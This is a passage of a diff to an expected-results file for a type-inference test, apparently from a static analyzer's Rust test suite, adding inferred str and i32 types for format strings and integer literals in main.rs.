main.rs:21:5:23:5 | OptionS | | main.rs:44:26:44:28 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | S | @@ -39,6 +43,7 @@ inferType | main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | S | | main.rs:48:16:48:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | +| main.rs:50:18:50:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:50:26:50:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | MyOption | | main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | S | @@ -59,6 +64,7 @@ inferType | main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | S | | main.rs:56:30:56:32 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | S | +| main.rs:57:18:57:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:57:26:57:26 | a | | main.rs:10:5:14:5 | MyOption | | main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | S | | main.rs:70:19:70:22 | SelfParam | | main.rs:67:5:67:21 | Foo | @@ -68,6 +74,7 @@ inferType | main.rs:74:32:76:9 | { ... } | | main.rs:67:5:67:21 | Foo | | main.rs:75:13:75:16 | self | | main.rs:67:5:67:21 | Foo | | main.rs:79:23:84:5 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:81:13:81:13 | x | | main.rs:67:5:67:21 | Foo | | main.rs:81:17:81:22 | Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:82:13:82:13 | y | | main.rs:67:5:67:21 | Foo | @@ -76,6 +83,7 @@ inferType | main.rs:86:14:86:14 | x | | main.rs:67:5:67:21 | Foo | | main.rs:86:22:86:22 | y | | main.rs:67:5:67:21 | Foo | | main.rs:86:37:90:5 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:88:9:88:9 | x | | main.rs:67:5:67:21 | Foo | | main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | @@ -111,14 +119,18 @@ inferType | main.rs:126:17:126:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | | main.rs:126:17:126:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | | main.rs:126:30:126:31 | S2 | | main.rs:101:5:102:14 | S2 | +| main.rs:129:18:129:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:129:26:129:26 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:129:26:129:26 | x | A | main.rs:99:5:100:14 | S1 | | main.rs:129:26:129:28 | x.a | | main.rs:99:5:100:14 | S1 | +| main.rs:130:18:130:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:130:26:130:26 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:130:26:130:26 | y | A | main.rs:101:5:102:14 | S2 | | main.rs:130:26:130:28 | y.a | | main.rs:101:5:102:14 | S2 | +| main.rs:132:18:132:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:132:26:132:26 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:132:26:132:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:133:18:133:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:133:26:133:26 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:133:26:133:26 | y | A | main.rs:101:5:102:14 | S2 | | main.rs:135:13:135:13 | x | | main.rs:94:5:97:5 | MyThing | @@ -131,9 +143,11 @@ inferType | main.rs:136:17:136:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | | main.rs:136:17:136:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | | main.rs:136:30:136:31 | S2 | | main.rs:101:5:102:14 | S2 | +| main.rs:138:18:138:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:138:26:138:26 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:138:26:138:26 | x | A | main.rs:99:5:100:14 | S1 | | main.rs:138:26:138:31 | x.m2() | | main.rs:99:5:100:14 | S1 | +| main.rs:139:18:139:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:139:26:139:26 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:139:26:139:26 | y | A | main.rs:101:5:102:14 | S2 | | main.rs:139:26:139:31 | y.m2() | | main.rs:101:5:102:14 | S2 | @@ -170,8 +184,10 @@ inferType | main.rs:185:17:185:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | | main.rs:185:17:185:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | | main.rs:185:30:185:31 | S2 | | main.rs:151:5:152:14 | S2 | +| main.rs:187:18:187:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:187:26:187:26 | x | | main.rs:144:5:147:5 | MyThing | | main.rs:187:26:187:26 | x | A | main.rs:149:5:150:14 | S1 | +| main.rs:188:18:188:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:188:26:188:26 | y | | main.rs:144:5:147:5 | MyThing | | main.rs:188:26:188:26 | y | A | main.rs:151:5:152:14 | S2 | | main.rs:190:13:190:13 | x | | main.rs:144:5:147:5 | MyThing | @@ -184,8 +200,10 @@ inferType | main.rs:191:17:191:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | | main.rs:191:17:191:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | | main.rs:191:30:191:31 | S2 | | main.rs:151:5:152:14 | S2 | +| main.rs:193:18:193:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:193:40:193:40 | x | | main.rs:144:5:147:5 | MyThing | | main.rs:193:40:193:40 | x | A | main.rs:149:5:150:14 | S1 | +| main.rs:194:18:194:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:194:40:194:40 | y | | main.rs:144:5:147:5 | MyThing | | main.rs:194:40:194:40 | y | A | main.rs:151:5:152:14 | S2 | | main.rs:211:19:211:22 | SelfParam | | main.rs:209:5:212:5 | Self [trait FirstTrait] | @@ -194,21 +212,25 @@ inferType | main.rs:221:13:221:14 | s1 | | main.rs:219:35:219:42 | I | | main.rs:221:18:221:18 | x | | main.rs:219:45:219:61 | T | | main.rs:221:18:221:27 | x.method() | | main.rs:219:35:219:42 | I | +| main.rs:222:18:222:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:222:26:222:27 | s1 | | main.rs:219:35:219:42 | I | | main.rs:225:65:225:65 | x | | main.rs:225:46:225:62 | T | | main.rs:227:13:227:14 | s2 | | main.rs:225:36:225:43 | I | | main.rs:227:18:227:18 | x | | main.rs:225:46:225:62 | T | | main.rs:227:18:227:27 | x.method() | | main.rs:225:36:225:43 | I | +| main.rs:228:18:228:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:228:26:228:27 | s2 | | main.rs:225:36:225:43 | I | | main.rs:231:49:231:49 | x | | main.rs:231:30:231:46 | T | | main.rs:232:13:232:13 | s | | main.rs:201:5:202:14 | S1 | | main.rs:232:17:232:17 | x | | main.rs:231:30:231:46 | T | | main.rs:232:17:232:26 | x.method() | | main.rs:201:5:202:14 | S1 | +| main.rs:233:18:233:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:233:26:233:26 | s | | main.rs:201:5:202:14 | S1 | | main.rs:236:53:236:53 | x | | main.rs:236:34:236:50 | T | | main.rs:237:13:237:13 | s | | main.rs:201:5:202:14 | S1 | | main.rs:237:17:237:17 | x | | main.rs:236:34:236:50 | T | | main.rs:237:17:237:26 | x.method() | | main.rs:201:5:202:14 | S1 | +| main.rs:238:18:238:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:238:26:238:26 | s | | main.rs:201:5:202:14 | S1 | | main.rs:242:16:242:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | | main.rs:244:16:244:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | @@ -220,6 +242,7 @@ inferType | main.rs:250:13:250:14 | s2 | | main.rs:204:5:205:14 | S2 | | main.rs:250:18:250:18 | y | | main.rs:247:41:247:55 | T | | main.rs:250:18:250:24 | y.snd() | | main.rs:204:5:205:14 | S2 | +| main.rs:251:18:251:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:251:32:251:33 | s1 | | main.rs:201:5:202:14 | S1 | | main.rs:251:36:251:37 | s2 | | main.rs:204:5:205:14 | S2 | | main.rs:254:69:254:69 | x | | main.rs:254:52:254:66 | T | @@ -230,6 +253,7 @@ inferType | main.rs:257:13:257:14 | s2 | | main.rs:254:41:254:49 | T2 | | main.rs:257:18:257:18 | y | | main.rs:254:52:254:66 | T | | main.rs:257:18:257:24 | y.snd() | | main.rs:254:41:254:49 | T2 | +| main.rs:258:18:258:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:258:32:258:33 | s1 | | main.rs:201:5:202:14 | S1 | | main.rs:258:36:258:37 | s2 | | main.rs:254:41:254:49 | T2 | | main.rs:274:15:274:18 | SelfParam | | main.rs:273:5:282:5 | Self [trait MyTrait] | @@ -264,9 +288,11 @@ inferType | main.rs:302:17:302:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | | main.rs:302:17:302:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | | main.rs:302:30:302:31 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:304:18:304:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:304:26:304:26 | x | | main.rs:263:5:266:5 | MyThing | | main.rs:304:26:304:26 | x | T | main.rs:268:5:269:14 | S1 | | main.rs:304:26:304:31 | x.m1() | | main.rs:268:5:269:14 | S1 | +| main.rs:305:18:305:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:305:26:305:26 | y | | main.rs:263:5:266:5 | MyThing | | main.rs:305:26:305:26 | y | T | main.rs:270:5:271:14 | S2 | | main.rs:305:26:305:31 | y.m1() | | main.rs:270:5:271:14 | S2 | @@ -280,9 +306,11 @@ inferType | main.rs:308:17:308:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | | main.rs:308:17:308:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | | main.rs:308:30:308:31 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:310:18:310:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:310:26:310:26 | x | | main.rs:263:5:266:5 | MyThing | | main.rs:310:26:310:26 | x | T | main.rs:268:5:269:14 | S1 | | main.rs:310:26:310:31 | x.m2() | | main.rs:268:5:269:14 | S1 | +| main.rs:311:18:311:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:311:26:311:26 | y | | main.rs:263:5:266:5 | MyThing | | main.rs:311:26:311:26 | y | T | main.rs:270:5:271:14 | S2 | | main.rs:311:26:311:31 | y.m2() | | main.rs:270:5:271:14 | S2 | @@ -296,9 +324,11 @@ inferType | main.rs:314:18:314:34 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | | main.rs:314:18:314:34 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | | main.rs:314:31:314:32 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:316:18:316:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:316:26:316:42 | call_trait_m1(...) | | main.rs:268:5:269:14 | S1 | | main.rs:316:40:316:41 | x2 | | main.rs:263:5:266:5 | MyThing | | main.rs:316:40:316:41 | x2 | T | main.rs:268:5:269:14 | S1 | +| main.rs:317:18:317:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:317:26:317:42 | call_trait_m1(...) | | main.rs:270:5:271:14 | S2 | | main.rs:317:40:317:41 | y2 | | main.rs:263:5:266:5 | MyThing | | main.rs:317:40:317:41 | y2 | T | main.rs:270:5:271:14 | S2 | @@ -320,10 +350,12 @@ inferType | main.rs:323:16:323:32 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | | main.rs:323:16:323:32 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | | main.rs:323:29:323:30 | S2 | | main.rs:270:5:271:14 | S2 | +| main.rs:326:18:326:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:326:26:326:48 | call_trait_thing_m1(...) | | main.rs:268:5:269:14 | S1 | | main.rs:326:46:326:47 | x3 | | main.rs:263:5:266:5 | MyThing | | main.rs:326:46:326:47 | x3 | T | main.rs:263:5:266:5 | MyThing | | main.rs:326:46:326:47 | x3 | T.T | main.rs:268:5:269:14 | S1 | +| main.rs:327:18:327:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:327:26:327:48 | call_trait_thing_m1(...) | | main.rs:270:5:271:14 | S2 | | main.rs:327:46:327:47 | y3 | | main.rs:263:5:266:5 | MyThing | | main.rs:327:46:327:47 | y3 | T | main.rs:263:5:266:5 | MyThing | @@ -400,6 +432,7 @@ inferType | main.rs:445:13:445:14 | S2 | | main.rs:386:5:387:14 | S2 | | main.rs:450:13:450:14 | x1 | | main.rs:383:5:384:13 | S | | main.rs:450:18:450:18 | S | | main.rs:383:5:384:13 | S | +| main.rs:452:18:452:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:452:26:452:27 | x1 | | main.rs:383:5:384:13 | S | | main.rs:452:26:452:32 | x1.m1() | | main.rs:389:5:390:14 | AT | | main.rs:454:13:454:14 | x2 | | main.rs:383:5:384:13 | S | @@ -407,20 +440,31 @@ inferType | main.rs:456:13:456:13 | y | | main.rs:389:5:390:14 | AT | | main.rs:456:17:456:18 | x2 | | main.rs:383:5:384:13 | S | | main.rs:456:17:456:23 | x2.m2() | | main.rs:389:5:390:14 | AT | +| main.rs:457:18:457:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:457:26:457:26 | y | | main.rs:389:5:390:14 | AT | | main.rs:459:13:459:14 | x3 | | main.rs:383:5:384:13 | S | | main.rs:459:18:459:18 | S | | main.rs:383:5:384:13 | S | +| main.rs:461:18:461:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:461:26:461:27 | x3 | | main.rs:383:5:384:13 | S | | main.rs:461:26:461:34 | x3.put(...) | | main.rs:332:5:335:5 | Wrapper | +| main.rs:461:26:461:34 | x3.put(...) | A | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:461:26:461:43 | ... .unwrap() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:461:33:461:33 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:464:18:464:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:464:26:464:27 | x3 | | main.rs:383:5:384:13 | S | +| main.rs:464:36:464:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:464:39:464:39 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:466:20:466:20 | S | | main.rs:383:5:384:13 | S | +| main.rs:467:18:467:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:469:13:469:14 | x5 | | main.rs:386:5:387:14 | S2 | | main.rs:469:18:469:19 | S2 | | main.rs:386:5:387:14 | S2 | +| main.rs:470:18:470:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:470:26:470:27 | x5 | | main.rs:386:5:387:14 | S2 | | main.rs:470:26:470:32 | x5.m1() | | main.rs:332:5:335:5 | Wrapper | | main.rs:470:26:470:32 | x5.m1() | A | main.rs:386:5:387:14 | S2 | | main.rs:471:13:471:14 | x6 | | main.rs:386:5:387:14 | S2 | | main.rs:471:18:471:19 | S2 | | main.rs:386:5:387:14 | S2 | +| main.rs:472:18:472:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:472:26:472:27 | x6 | | main.rs:386:5:387:14 | S2 | | main.rs:472:26:472:32 | x6.m2() | | main.rs:332:5:335:5 | Wrapper | | main.rs:472:26:472:32 | x6.m2() | A | main.rs:386:5:387:14 | S2 | @@ -453,9 +497,11 @@ inferType | main.rs:503:17:503:36 | ...::C2 {...} | | main.rs:481:5:485:5 | MyEnum | | main.rs:503:17:503:36 | ...::C2 {...} | A | main.rs:489:5:490:14 | S2 | | main.rs:503:33:503:34 | S2 | | main.rs:489:5:490:14 | S2 | +| main.rs:505:18:505:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:505:26:505:26 | x | | main.rs:481:5:485:5 | MyEnum | | main.rs:505:26:505:26 | x | A | main.rs:487:5:488:14 | S1 | | main.rs:505:26:505:31 | x.m1() | | main.rs:487:5:488:14 | S1 | +| main.rs:506:18:506:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:506:26:506:26 | y | | main.rs:481:5:485:5 | MyEnum | | main.rs:506:26:506:26 | y | A | main.rs:489:5:490:14 | S2 | | main.rs:506:26:506:31 | y.m1() | | main.rs:489:5:490:14 | S2 | @@ -463,6 +509,9 @@ inferType | main.rs:532:15:532:18 | SelfParam | | main.rs:531:5:542:5 | Self [trait MyTrait2] | | main.rs:535:9:541:9 | { ... } | | main.rs:531:20:531:22 | Tr2 | | main.rs:536:13:540:13 | if ... {...} else {...} | | main.rs:531:20:531:22 | Tr2 | +| main.rs:536:16:536:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:536:20:536:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:536:24:536:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:536:26:538:13 | { ... } | | main.rs:531:20:531:22 | Tr2 | | main.rs:537:17:537:20 | self | | main.rs:531:5:542:5 | Self [trait MyTrait2] | | main.rs:537:17:537:25 | self.m1() | | main.rs:531:20:531:22 | Tr2 | @@ -472,6 +521,9 @@ inferType | main.rs:545:15:545:18 | SelfParam | | main.rs:544:5:555:5 | Self [trait MyTrait3] | | main.rs:548:9:554:9 | { ... } | | main.rs:544:20:544:22 | Tr3 | | main.rs:549:13:553:13 | if ... {...} else {...} | | main.rs:544:20:544:22 | Tr3 | +| main.rs:549:16:549:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:549:20:549:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:549:24:549:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:549:26:551:13 | { ... } | | main.rs:544:20:544:22 | Tr3 | | main.rs:550:17:550:20 | self | | main.rs:544:5:555:5 | Self [trait MyTrait3] | | main.rs:550:17:550:25 | self.m2() | | main.rs:511:5:514:5 | MyThing | @@ -507,9 +559,11 @@ inferType | main.rs:579:17:579:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | | main.rs:579:17:579:33 | MyThing {...} | A | main.rs:523:5:524:14 | S2 | | main.rs:579:30:579:31 | S2 | | main.rs:523:5:524:14 | S2 | +| main.rs:581:18:581:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:581:26:581:26 | x | | main.rs:511:5:514:5 | MyThing | | main.rs:581:26:581:26 | x | A | main.rs:521:5:522:14 | S1 | | main.rs:581:26:581:31 | x.m1() | | main.rs:521:5:522:14 | S1 | +| main.rs:582:18:582:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:582:26:582:26 | y | | main.rs:511:5:514:5 | MyThing | | main.rs:582:26:582:26 | y | A | main.rs:523:5:524:14 | S2 | | main.rs:582:26:582:31 | y.m1() | | main.rs:523:5:524:14 | S2 | @@ -523,9 +577,11 @@ inferType | main.rs:585:17:585:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | | main.rs:585:17:585:33 | MyThing {...} | A | main.rs:523:5:524:14 | S2 | | main.rs:585:30:585:31 | S2 | | main.rs:523:5:524:14 | S2 | +| main.rs:587:18:587:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:587:26:587:26 | x | | main.rs:511:5:514:5 | MyThing | | main.rs:587:26:587:26 | x | A | main.rs:521:5:522:14 | S1 | | main.rs:587:26:587:31 | x.m2() | | main.rs:521:5:522:14 | S1 | +| main.rs:588:18:588:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:588:26:588:26 | y | | main.rs:511:5:514:5 | MyThing | | main.rs:588:26:588:26 | y | A | main.rs:523:5:524:14 | S2 | | main.rs:588:26:588:31 | y.m2() | | main.rs:523:5:524:14 | S2 | @@ -539,9 +595,11 @@ inferType | main.rs:591:17:591:34 | MyThing2 {...} | | main.rs:516:5:519:5 | MyThing2 | | main.rs:591:17:591:34 | MyThing2 {...} | A | main.rs:523:5:524:14 | S2 | | main.rs:591:31:591:32 | S2 | | main.rs:523:5:524:14 | S2 | +| main.rs:593:18:593:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:593:26:593:26 | x | | main.rs:516:5:519:5 | MyThing2 | | main.rs:593:26:593:26 | x | A | main.rs:521:5:522:14 | S1 | | main.rs:593:26:593:31 | x.m3() | | main.rs:521:5:522:14 | S1 | +| main.rs:594:18:594:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:594:26:594:26 | y | | main.rs:516:5:519:5 | MyThing2 | | main.rs:594:26:594:26 | y | A | main.rs:523:5:524:14 | S2 | | main.rs:594:26:594:31 | y.m3() | | main.rs:523:5:524:14 | S2 | @@ -560,6 +618,7 @@ inferType | main.rs:626:9:626:16 | x.into() | | main.rs:622:17:622:18 | T2 | | main.rs:630:13:630:13 | x | | main.rs:602:5:603:14 | S1 | | main.rs:630:17:630:18 | S1 | | main.rs:602:5:603:14 | S1 | +| main.rs:631:18:631:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:631:26:631:31 | id(...) | | file://:0:0:0:0 | & | | main.rs:631:26:631:31 | id(...) | &T | main.rs:602:5:603:14 | S1 | | main.rs:631:29:631:30 | &x | | file://:0:0:0:0 | & | @@ -567,6 +626,7 @@ inferType | main.rs:631:30:631:30 | x | | main.rs:602:5:603:14 | S1 | | main.rs:633:13:633:13 | x | | main.rs:602:5:603:14 | S1 | | main.rs:633:17:633:18 | S1 | | main.rs:602:5:603:14 | S1 | +| main.rs:634:18:634:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:634:26:634:37 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:634:26:634:37 | id::<...>(...) | &T | main.rs:602:5:603:14 | S1 | | main.rs:634:35:634:36 | &x | | file://:0:0:0:0 | & | @@ -574,6 +634,7 @@ inferType | main.rs:634:36:634:36 | x | | main.rs:602:5:603:14 | S1 | | main.rs:636:13:636:13 | x | | main.rs:602:5:603:14 | S1 | | main.rs:636:17:636:18 | S1 | | main.rs:602:5:603:14 | S1 | +| main.rs:637:18:637:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:637:26:637:44 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:637:26:637:44 | id::<...>(...) | &T | main.rs:602:5:603:14 | S1 | | main.rs:637:42:637:43 | &x | | file://:0:0:0:0 | & | @@ -597,7 +658,9 @@ inferType | main.rs:658:19:658:22 | self | Fst | main.rs:656:10:656:12 | Fst | | main.rs:658:19:658:22 | self | Snd | main.rs:656:15:656:17 | Snd | | main.rs:659:43:659:82 | MacroExpr | | main.rs:656:15:656:17 | Snd | +| main.rs:659:50:659:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:660:43:660:81 | MacroExpr | | main.rs:656:15:656:17 | Snd | +| main.rs:660:50:660:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:661:37:661:39 | snd | | main.rs:656:15:656:17 | Snd | | main.rs:661:45:661:47 | snd | | main.rs:656:15:656:17 | Snd | | main.rs:662:41:662:43 | snd | | main.rs:656:15:656:17 | Snd | @@ -617,6 +680,7 @@ inferType | main.rs:689:17:689:29 | t.unwrapSnd() | Fst | main.rs:670:5:671:14 | S2 | | main.rs:689:17:689:29 | t.unwrapSnd() | Snd | main.rs:673:5:674:14 | S3 | | main.rs:689:17:689:41 | ... .unwrapSnd() | | main.rs:673:5:674:14 | S3 | +| main.rs:690:18:690:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:690:26:690:26 | x | | main.rs:673:5:674:14 | S3 | | main.rs:695:13:695:14 | p1 | | main.rs:648:5:654:5 | PairOption | | main.rs:695:13:695:14 | p1 | Fst | main.rs:667:5:668:14 | S1 | @@ -626,6 +690,7 @@ inferType | main.rs:695:26:695:53 | ...::PairBoth(...) | Snd | main.rs:670:5:671:14 | S2 | | main.rs:695:47:695:48 | S1 | | main.rs:667:5:668:14 | S1 | | main.rs:695:51:695:52 | S2 | | main.rs:670:5:671:14 | S2 | +| main.rs:696:18:696:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:696:26:696:27 | p1 | | main.rs:648:5:654:5 | PairOption | | main.rs:696:26:696:27 | p1 | Fst | main.rs:667:5:668:14 | S1 | | main.rs:696:26:696:27 | p1 | Snd | main.rs:670:5:671:14 | S2 | @@ -635,6 +700,7 @@ inferType | main.rs:699:26:699:47 | ...::PairNone(...) | | main.rs:648:5:654:5 | PairOption | | main.rs:699:26:699:47 | ...::PairNone(...) | Fst | main.rs:667:5:668:14 | S1 | | main.rs:699:26:699:47 | ...::PairNone(...) | Snd | main.rs:670:5:671:14 | S2 | +| main.rs:700:18:700:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:700:26:700:27 | p2 | | main.rs:648:5:654:5 | PairOption | | main.rs:700:26:700:27 | p2 | Fst | main.rs:667:5:668:14 | S1 | | main.rs:700:26:700:27 | p2 | Snd | main.rs:670:5:671:14 | S2 | @@ -645,6 +711,7 @@ inferType | main.rs:703:34:703:56 | ...::PairSnd(...) | Fst | main.rs:670:5:671:14 | S2 | | main.rs:703:34:703:56 | ...::PairSnd(...) | Snd | main.rs:673:5:674:14 | S3 | | main.rs:703:54:703:55 | S3 | | main.rs:673:5:674:14 | S3 | +| main.rs:704:18:704:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:704:26:704:27 | p3 | | main.rs:648:5:654:5 | PairOption | | main.rs:704:26:704:27 | p3 | Fst | main.rs:670:5:671:14 | S2 | | main.rs:704:26:704:27 | p3 | Snd | main.rs:673:5:674:14 | S3 | @@ -654,6 +721,7 @@ inferType | main.rs:707:35:707:56 | ...::PairNone(...) | | main.rs:648:5:654:5 | PairOption | | main.rs:707:35:707:56 | ...::PairNone(...) | Fst | main.rs:670:5:671:14 | S2 | | main.rs:707:35:707:56 | ...::PairNone(...) | Snd | main.rs:673:5:674:14 | S3 | +| main.rs:708:18:708:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:708:26:708:27 | p3 | | main.rs:648:5:654:5 | PairOption | | main.rs:708:26:708:27 | p3 | Fst | main.rs:670:5:671:14 | S2 | | main.rs:708:26:708:27 | p3 | Snd | main.rs:673:5:674:14 | S3 | @@ -701,6 +769,7 @@ inferType | main.rs:745:40:745:40 | x | T | main.rs:741:10:741:10 | T | | main.rs:754:13:754:14 | x1 | | main.rs:715:5:719:5 | MyOption | | main.rs:754:18:754:37 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | +| main.rs:755:18:755:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:755:26:755:27 | x1 | | main.rs:715:5:719:5 | MyOption | | main.rs:757:13:757:18 | mut x2 | | main.rs:715:5:719:5 | MyOption | | main.rs:757:13:757:18 | mut x2 | T | main.rs:750:5:751:13 | S | @@ -709,12 +778,14 @@ inferType | main.rs:758:9:758:10 | x2 | | main.rs:715:5:719:5 | MyOption | | main.rs:758:9:758:10 | x2 | T | main.rs:750:5:751:13 | S | | main.rs:758:16:758:16 | S | | main.rs:750:5:751:13 | S | +| main.rs:759:18:759:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | | main.rs:759:26:759:27 | x2 | | main.rs:715:5:719:5 | MyOption | | main.rs:759:26:759:27 | x2 | T | main.rs:750:5:751:13 | S | | main.rs:761:13:761:18 